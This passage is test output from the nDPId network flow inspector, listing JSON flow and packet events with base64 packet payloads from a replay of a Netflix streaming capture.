6nOPas8+6KQXiFNJfTYtEikuLBXVVzI2TlsZ5+lFbZ9PEeGW4XjI2sMAfUUsWU7\/ALpaPcR\/DfCkAg8eVMVnua1iLAAlB0GPKlytW3+QYotdmqOO0k\/6N0EP9Mwx+Y4\/St2tNdNY2Pcxxyd0mzKtx9+maGqnXgfaiMc9vdvDEYZAI49r+ADJ9R69KOOSS2HJF3oDx9opmjRLzvGRdyL3mSAehAPX9aI6P3Ms1vHbSYRFYDJ5PBPOKovNPtnsHTK5RnbDLjyP+ayabpMcN3BJJEGDltxb8ByOPPjFVvG1aZGpLVHQOxp3210xQKSy5IGM8GmfaCKTuycc0VpciNomJYYZmyAMexpiWZwpLd37cH\/NbsG4I8\/OvqM0yWyOd2WBHmKHX1s7qe+vu7QDpgAkV7LIXfaWIUf0DB+\/NUvBYhCzQ\/xDkd4Tk\/c07iyadGWP4GC3MuZ7tMkA7eOfVjxig9xaz6lbmK3+EthMxYu3jMQAyM4wM8DpnrW2aU3DC3kiCIo8B67qySWqGN9oPdsoUcfj9efIfrU="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":968,"source":"netflix.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1484319050652,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.145","src_port":53163,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":968,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":652467,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABA2xBAAEAGenHAqAEHF\/YLkc+rAFC8XkCtAAAAALAC\/\/9pzAAAAgQFtAEDAwUBAQgKH2T7jgAAAAAEAgAA"} +00440{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":970,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":677236,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADsGWmYX9guRwKgBBwBQz6susPTdvF5ArqAS\/\/\/2WQAAAgQFtAEDAwkEAggKRVwbeB9k+44="} +00426{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":971,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":678757,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0kSxAAEAGxGHAqAEHF\/YLkc+rAFC8XkCuLrD03oAQEBUU+gAAAQEICh9k+6dFXBt4"} +00907{"flow_id":31,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":972,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":682551,"pkt_caplen":422,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":422,"pkt_l4_len":388,"pkt":"gCqoTGHM5JjWH70UCABFAAGY\/5JAAEAGVJfAqAEHF\/YLkc+rAFC8XkCuLrD03oAYEBUr\/wAAAQEICh9k+6pFXBt4R0VUIC9yYW5nZS8wLTY1NTM1P289QVFFZktxMm9NckxSaVdMLXAtVmVJWjZXS1JxLVg2TE12YUxxZ3hXQkN1RmJoMDlNcHJlT1JVVU9PNVR4MTY4M0hQbkxZNkJQak5fOW1sRHVZaWhHWm9YdTl1MG96SDhSRmlvQk5fSkROaVJzY2lkanZvU2RXbWx5WmdQTmFuc1cwbGtCcjRYODFIdmxvT2k4QlNfZXhWU1BoTXlKUVRCNWJnJnY9MyZlPTE0ODQzNDc4NTAmdD01eGZZVnRuYTNHZFlYTDcxdU5zNkRaLVg4NFkmcmFuZG9tPTM5MzA3MDgyMjQgSFRUUC8xLjENCkhvc3Q6IDIzLjI0Ni4xMS4xNDUNCkFjY2VwdDogKi8qDQpBY2NlcHQtRW5jb2Rpbmc6IGRlZmxhdGUsIGd6aXANClVzZXItQWdlbnQ6IG5ldGZsaXgtaW9zLWFwcA0KDQo="} +00928{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":972,"source":"netflix.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":4,"flow_first_seen":1484319050652,"flow_last_seen":1484319050682,"flow_tot_l4_data_len":504,"flow_min_l4_data_len":32,"flow_max_l4_data_len":388,"flow_avg_l4_data_len":126,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.145","src_port":53163,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.11.145","url":"23.246.11.145\/range\/0-65535?o=AQEfKq2oMrLRiWL-p-VeIZ6WKRq-X6LMvaLqgxWBCuFbh09MpreORUUOO5Tx1683HPnLY6BPjN_9mlDuYihGZoXu9u0ozH8RFioBN_JDNiRscidjvoSdWmlyZgPNansW0lkBr4X81HvloOi8BS_exVSPhMyJQTB5bg&v=3&e=1484347850&t=5xfYVtna3GdYXL71uNs6DZ-X84Y&random=3930708224","code":0,"content_type":"","user_agent":"netflix-ios-app"}} +01116{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":978,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":719721,"pkt_caplen":581,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":581,"pkt_l4_len":547,"pkt":"5JjWH70UgCqoTGHMCABFIAI3AABAADsGWGsX9guRwKgBBwBQz6susPTevF5CEoAQCAIpPgAAAQEICkVcG6AfZPuqSFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBGcmksIDEzIEphbiAyMDE3IDE0OjUwOjUwIEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NCkNvbnRlbnQtTGVuZ3RoOiA2NTUzNg0KTGFzdC1Nb2RpZmllZDogV2VkLCAwOSBNYXIgMjAxNiAxMjoxNDoxNSBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlDQpQcmFnbWE6IG5vLWNhY2hlDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNCkFjY2Vzcy1Db250cm9sLUV4cG9zZS1IZWFkZXJzOiBYLVRDUC1JbmZvLFgtU2Vzc2lvbi1JbmZvDQpYLVRDUC1JbmZvOiBoMD0yMjIxNjM3NTg4O2gxPTM4MzU3MzQ4NDM7aDI9OTA1OTYwMTAyO2gzPTE4OTE3NzkxNTQ7aDQ9MTIzNDk0MDsNClgtU2Vzc2lvbi1JbmZvOiBhZGRyPTczLjIwMy4xMDcuMjM7cG9ydD01MzE2MzthcmdwPTYuc05jMERYU2Y4VEhFM2Y0eThWdU5sa1RITHNFblExQ0tja0M3dXN3MnZiQQ0KDQo="} +02365{"flow_id":31,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":979,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":724549,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"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"} +00426{"flow_id":31,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":980,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":726322,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0wyFAAEAGkmzAqAEHF\/YLkc+rAFC8XkISLrD8iYAQD9gL0wAAAQEICh9k+9RFXBug"} +02371{"flow_id":31,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":982,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":751706,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAAFAADsGVMUX9guRwKgBBwBQz6susPyJvF5CEoAQCAIuYAAAAQEICkVcG6AfZPuqALwAgAAAAAAAX\/gAALwAgAAAAAAAX94AALwAgAAAAAAAXwcAALwAgAAAAAAAXz0AALwAgAAAAAAAXTMAALgAgAAAAAAAX\/sAALwAgAAAAAAAYRMAALwAgAAAAAAAXh4AALwAgAAAAAAAX3YAALwAgAAAAAAAX3IAALwAgAAAAAAAX\/sAALwAgAAAAAAAXuoAALwAgAAAAAAAXVIAALgAgAAAAAAAX6cAALwAgAAAAAAAYQUAALwAgAAAAAAAXuQAALwAgAAAAAAAXysAALwAgAAAAAAAX0QAALwAgAAAAAAAXzwAALwAgAAAAAAAX8wAALwAgAAAAAAAXcAAALgAgAAAAAAAX7IAALwAgAAAAAAAXzIAALwAgAAAAAAAX1oAALwAgAAAAAAAX7cAALwAgAAAAAAAX88AALwAgAAAAAAAX58AALwAgAAAAAAAXvQAALwAgAAAAAAAXlEAALgAgAAAAAAAYGMAALwAgAAAAAAAXqsAALwAgAAAAAAAXzYAALwAgAAAAAAAX\/AAALwAgAAAAAAAX20AALwAgAAAAAAAXvkAALwAgAAAAAAAX\/AAALwAgAAAAAAAXZUAALgAgAAAAAAAX4MAALwAgAAAAAAAX8EAALwAgAAAAAAAX0sAALwAgAAAAAAAX5kAALwAgAAAAAAAX2EAALwAgAAAAAAAX6gAALwAgAAAAAAAXxYAALwAgAAAAAAAXWIAALgAgAAAAAAAYAoAALwAgAAAAAAAXyoAALwAgAAAAAAAX4MAALwAgAAAAAAAX5wAALwAgAAAAAAAX1IAALwAgAAAAAAAX7YAALwAgAAAAAAAX28AALwAgAAAAAAAXXkAALgAgAAAAAAAX6wAALwAgAAAAAAAX2wAALwAgAAAAAAAX54AALwAgAAAAAAAYBMAALwAgAAAAAAAX5gAALwAgAAAAAAAXw4AALwAgAAAAAAAYAAAALwAgAAAAAAAXYcAALgAgAAAAAAAX04AALwAgAAAAAAAX9UAALwAgAAAAAAAX9oAALwAgAAAAAAAX1cAALwAgAAAAAAAX0IAALwAgAAAAAAAX+MAALwAgAAAAAAAXsUAALwAgAAAAAAAXfoAALgAgAAAAAAAX30AALwAgAAAAAAAX6oAALwAgAAAAAAAX1gAALwAgAAAAAAAX\/sAALwAgAAAAAAAXwUAALwAgAAAAAAAX14AALwAgAAAAAAAX\/YAALwAgAAAAAAAXQMAALgAgAAAAAAAX3AAALwAgAAAAAAAX38AALwAgAAAAAAAX\/MAALwAgAAAAAAAYCAAALwAgAAAAAAAXykAALwAgAAAAAAAX4kAALwAgAAAAAAAXusAALwAgAAAAAAAXmgAALgAgAAAAAAAX0cAALwAgAAAAAAAXzAAALwAgAAAAAAAX0sAALwAgAAAAAAAYFwAALwAgAAAAAAAXtEAALwAgAAAAAAAYDAAALwAgAAAAAAAXvAAALwAgAAAAAAAXZ0AALgAgAAAAAAAX4MAALwAgAAAAAAAYDAAALwAgAAAAAAAXwcAALwAgAAAAAAAXzsAALwAgAAAAAAAYRMAALwAgAAAAAAAXs4AALwAgAAAAAAAXwgAALwAgAAAAAAAXb4AALgAgAAAAAAAXvsAALwAgAAAAAAAYF4AALwAgAAAAAAAXzEAALwAgAAAAAAAX+cAALwAgAAAAAAAX1cAALwAgAAAAAAAYCEAALwAgAAAAAAAX6gAALwAgAAAAAAAXFMAALgAgAAAAAAAYEgAALwAgAAAAAAAXtYAALwAgAAAAAAAYMcAALwAgAAAAAAAXxsAALwAgAAAAAAAX50AALwAgAAAAAAAXswAALwAgAAAAAAAX6QAALwAgAAAAAAAXbYAALgAgAAAAAAAX0gAALwAgAAAAAAAXzYAALwAgAAAAAAAX5QAALwAgAAAAAA="} +02381{"flow_id":31,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":983,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":792180,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAAJAADsGVMQX9guRwKgBBwBQz6susQIxvF5CEoAQCAIAWAAAAQEICkVcG6AfZPuqAF\/OAAC8AIAAAAAAAF+wAAC8AIAAAAAAAF9EAAC8AIAAAAAAAF+bAAC8AIAAAAAAAF2GAAC4AIAAAAAAAF9dAAC8AIAAAAAAAF\/BAAC8AIAAAAAAAF9NAAC8AIAAAAAAAF9QAAC8AIAAAAAAAF+YAAC8AIAAAAAAAGChAAC8AIAAAAAAAGATAAC8AIAAAAAAAFyTAAC4AIAAAAAAAF+IAAC8AIAAAAAAAF8sAAC8AIAAAAAAAF8mAAC8AIAAAAAAAGAfAAC8AIAAAAAAAF8JAAC8AIAAAAAAAF\/cAAC8AIAAAAAAAF+nAAC8AIAAAAAAAF0pAAC4AIAAAAAAAGBLAAC8AIAAAAAAAF7YAAC8AIAAAAAAAF\/GAAC8AIAAAAAAAF8vAAC8AIAAAAAAAGEvAAC8AIAAAAAAAF4PAAC8AIAAAAAAAF+RAAC8AIAAAAAAAF8KAAC4AIAAAAAAAF5rAAC8AIAAAAAAAF9IAAC8AIAAAAAAAF+oAAC8AIAAAAAAAF+cAAC8AIAAAAAAAF9gAAC8AIAAAAAAAF\/zAAC8AIAAAAAAAF8iAAC8AIAAAAAAAF2IAAC4AIAAAAAAAGDXAAC8AIAAAAAAAF5QAAC8AIAAAAAAAGBzAAC8AIAAAAAAAF6sAAC8AIAAAAAAAF9jAAC8AIAAAAAAAGAVAAC8AIAAAAAAAF8SAAC8AIAAAAAAAF2YAAC4AIAAAAAAAF8tAAC8AIAAAAAAAF\/GAAC8AIAAAAAAAF9oAAC8AIAAAAAAAF\/XAAC8AIAAAAAAAF\/LAAC8AIAAAAAAAF+fAAC8AIAAAAAAAF+iAAC8AIAAAAAAAF0hAAC4AIAAAAAAAGBUAAC8AIAAAAAAAF94AAC8AIAAAAAAAF\/BAAC8AIAAAAAAAF4SAAC8AIAAAAAAAGBzAAC8AIAAAAAAAF9eAAC8AIAAAAAAAGAOAAC8AIAAAAAAAF08AAC4AIAAAAAAAF7XAAC8AIAAAAAAAGCmAAC8AIAAAAAAAF73AAC8AIAAAAAAAF8RAAC8AIAAAAAAAF+aAAC8AIAAAAAAAF\/hAAC8AIAAAAAAAF8GAAC8AIAAAAAAAF3vAAC4AIAAAAAAAF9JAAC8AIAAAAAAAF\/jAAC8AIAAAAAAAF9HAAC8AIAAAAAAAF\/tAAC8AIAAAAAAAF9oAAC8AIAAAAAAAF9UAAC8AIAAAAAAAF87AAC8AIAAAAAAAF5UAAC4AIAAAAAAAF+LAAC8AIAAAAAAAF92AAC8AIAAAAAAAF7\/AAC8AIAAAAAAAF9AAAC8AIAAAAAAAF+2AAC8AIAAAAAAAF+gAAC8AIAAAAAAAF94AAC8AIAAAAAAAF3SAAC4AIAAAAAAAF+HAAC8AIAAAAAAAF8GAAC8AIAAAAAAAF9kAAC8AIAAAAAAAGAwAAC8AIAAAAAAAGABAAC8AIAAAAAAAF9iAAC8AIAAAAAAAF9PAAC8AIAAAAAAAF3OAAC4AIAAAAAAAF58AAC8AIAAAAAAAF\/EAAC8AIAAAAAAAF+3AAC8AIAAAAAAAF\/NAAC8AIAAAAAAAF+WAAC8AIAAAAAAAF7dAAC8AIAAAAAAAGAqAAC8AIAAAAAAAF0XAAC4AIAAAAAAAGBZAAC8AIAAAAAAAF6WAAC8AIAAAAAAAF\/dAAC8AIAAAAAAAF\/GAAC8AIAAAAAAAF+YAAC8AIAAAAAAAF+CAAC8AIAAAAAAAGC4AAC8AIAAAAAAAFvxAAC4AIAAAAAAAF98AAC8AIAAAAAAAF\/AAAC8AIAAAAAAAF+lAAC8AIAAAAAAAGAoAAC8AIAAAAAAAF9bAAC8AIAAAAAAAGCPAAC8AIAAAAAAAF6vAAC8AIAAAAAAAF1AAAC4AIAAAAAAAF9bAAC8AIAAAAAAAGAQAAC8AIAAAAAAAF7wAAC8AIAAAAAAAF+KAAC8AIA="} +00428{"flow_id":31,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":984,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":795688,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0EzFAAEAGQl3AqAEHF\/YLkc+rAFC8XkISLrEH2YAQD9IARwAAAQEICh9k\/BZFXBug"} +00504{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":985,"source":"netflix.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1484319044993,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.24.87.6","src_port":52929,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"}} +00471{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":985,"source":"netflix.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1484319044993,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.24.87.6","src_port":52929,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02365{"flow_id":31,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":985,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":836034,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAANAADsGVMMX9guRwKgBBwBQz6susQfZvF5CEoAQCAJZ7AAAAQEICkVcG6AfZPuqAAAAAABfkwAAvACAAAAAAABgbgAAvACAAAAAAABeTgAAvACAAAAAAABdLQAAuACAAAAAAABgOwAAvACAAAAAAABfegAAvACAAAAAAABfXwAAvACAAAAAAABfnwAAvACAAAAAAABfggAAvACAAAAAAABf5wAAvACAAAAAAABfKwAAvACAAAAAAABdoQAAuACAAAAAAABfPwAAvACAAAAAAABg4gAAvACAAAAAAABepQAAvACAAAAAAABf+AAAvACAAAAAAABfCAAAvACAAAAAAABgPQAAvACAAAAAAABfRwAAvACAAAAAAABcigAAuACAAAAAAABgFwAAvACAAAAAAABfMAAAvACAAAAAAABfmgAAvACAAAAAAABfnAAAvACAAAAAAABfwQAAvACAAAAAAABfeAAAvACAAAAAAABfZAAAvACAAAAAAABdjwAAuACAAAAAAABfmAAAvACAAAAAAABfDAAAvACAAAAAAABf5QAAvACAAAAAAABfRAAAvACAAAAAAABfhQAAvACAAAAAAABf7QAAvACAAAAAAABfQQAAvACAAAAAAABepAAAuACAAAAAAABe4QAAvACAAAAAAABfKwAAvACAAAAAAABfVQAAvACAAAAAAABfpAAAvACAAAAAAABflwAAvACAAAAAAABflwAAvACAAAAAAABgbgAAvACAAAAAAABcegAAuACAAAAAAABfegAAvACAAAAAAABgMAAAvACAAAAAAABe6wAAvACAAAAAAABgPQAAvACAAAAAAABe0gAAvACAAAAAAABfnAAAvACAAAAAAABgBgAAvACAAAAAAABddQAAuACAAAAAAABfaAAAvACAAAAAAABgHAAAvACAAAAAAABe5AAAvACAAAAAAABfLwAAvACAAAAAAABf4AAAvACAAAAAAABfqgAAvACAAAAAAABfGAAAvACAAAAAAABd9QAAuACAAAAAAABfRQAAvACAAAAAAABfowAAvACAAAAAAABf2wAAvACAAAAAAABfaQAAvACAAAAAAABfFAAAvACAAAAAAABgbgAAvACAAAAAAABfNgAAvACAAAAAAABd0QAAuACAAAAAAABfEAAAvACAAAAAAABfxgAAvACAAAAAAABgEQAAvACAAAAAAABfNgAAvACAAAAAAABePAAAvACAAAAAAABfigAAvACAAAAAAABhUAAAvACAAAAAAABduAAAuACAAAAAAABfYAAAvACAAAAAAABf6gAAvACAAAAAAABenQAAvACAAAAAAABfzAAAvACAAAAAAABfWwAAvACAAAAAAABfXwAAvACAAAAAAABfmQAAvACAAAAAAABdxQAAuACAAAAAAABftgAAvACAAAAAAABeigAAvACAAAAAAABf3wAAvACAAAAAAABgiwAAvACAAAAAAABe\/AAAvACAAAAAAABfBgAAvACAAAAAAABfhAAAvACAAAAAAABdSAAAuACAAAAAAABfhwAAvACAAAAAAABgtwAAvACAAAAAAABeuAAAvACAAAAAAABfaAAAvACAAAAAAABfDAAAvACAAAAAAABgtQAAvACAAAAAAABfEAAAvACAAAAAAABd2AAAuACAAAAAAABfDwAAvACAAAAAAABfVgAAvACAAAAAAABgNgAAvACAAAAAAABeugAAvACAAAAAAABg2AAAvACAAAAAAABfYgAAvACAAAAAAABebwAAvACAAAAAAABdnwAAuACAAAAAAABgbwAAvACAAAAAAABfuQAAvACAAAAAAABeMwAAvACAAAAAAABhXQAAvACAAAAAAABe4AAAvACAAAAAAABfPQAAvACAAAAAAABfVAAAvACAAAAAAABeGAAAuACAAAAAAABfEwAAvACAAAAAAABf+wAAvACAAAAAAABfJAAAvACAAAAAAABfMAAAvACAAAAAAABftQA="} +00429{"flow_id":31,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":986,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":840515,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0E\/VAAEAGQZnAqAEHF\/YLkc+rAFC8XkISLrENgYAQEAD6SAAAAQEICh9k\/D5FXBug"} +02366{"flow_id":31,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":988,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319050,"pkt_ts_usec":914288,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAAZAADsGVMAX9guRwKgBBwBQz6susRjRvF5CEoAQCAK59AAAAQEICkVcG6AfZPuqAAAAAABfbAAAvACAAAAAAABc6wAAuACAAAAAAABftgAAvACAAAAAAABgRwAAvACAAAAAAABebgAAvACAAAAAAABgJAAAvACAAAAAAABe+AAAvACAAAAAAABfzgAAvACAAAAAAABfCgAAvACAAAAAAABeIwAAuACAAAAAAABfXwAAvACAAAAAAABffAAAvACAAAAAAABf\/AAAvACAAAAAAABeyAAAvACAAAAAAABfggAAvACAAAAAAABftQAAvACAAAAAAABfyQAAvACAAAAAAABdXwAAuACAAAAAAABfgAAAvACAAAAAAABfjwAAvACAAAAAAABfpAAAvACAAAAAAABfOAAAvACAAAAAAABfnwAAvACAAAAAAABf9AAAvACAAAAAAABfIQAAvACAAAAAAABdtAAAuACAAAAAAABfJwAAvACAAAAAAABgKAAAvACAAAAAAABfaQAAvACAAAAAAABfJAAAvACAAAAAAABfxAAAvACAAAAAAABfUQAAvACAAAAAAABgAwAAvACAAAAAAABc+wAAuACAAAAAAABfqAAAvACAAAAAAABfgwAAvACAAAAAAABfawAAvACAAAAAAABflwAAvACAAAAAAABgPQAAvACAAAAAAABfJAAAvACAAAAAAABfTwAAvACAAAAAAABdmQAAuACAAAAAAABhPQAAvACAAAAAAABeiQAAvACAAAAAAABfAAAAvACAAAAAAABfqgAAvACAAAAAAABfxQAAvACAAAAAAABgigAAvACAAAAAAABdzAAAvACAAAAAAABeJgAAuACAAAAAAABfXgAAvACAAAAAAABfWgAAvACAAAAAAABfsAAAvACAAAAAAABfLAAAvACAAAAAAABfggAAvACAAAAAAABgFQAAvACAAAAAAABfNQAAvACAAAAAAABdcQAAuACAAAAAAABfhAAAvACAAAAAAABgTgAAvACAAAAAAABfHQAAvACAAAAAAABfowAAvACAAAAAAABfIQAAvACAAAAAAABffgAAvACAAAAAAABhqwAAvACAAAAAAABbXQAAuACAAAAAAABfmQAAvACAAAAAAABgWAAAvACAAAAAAABffgAAvACAAAAAAABfDwAAvACAAAAAAABgrQAAvACAA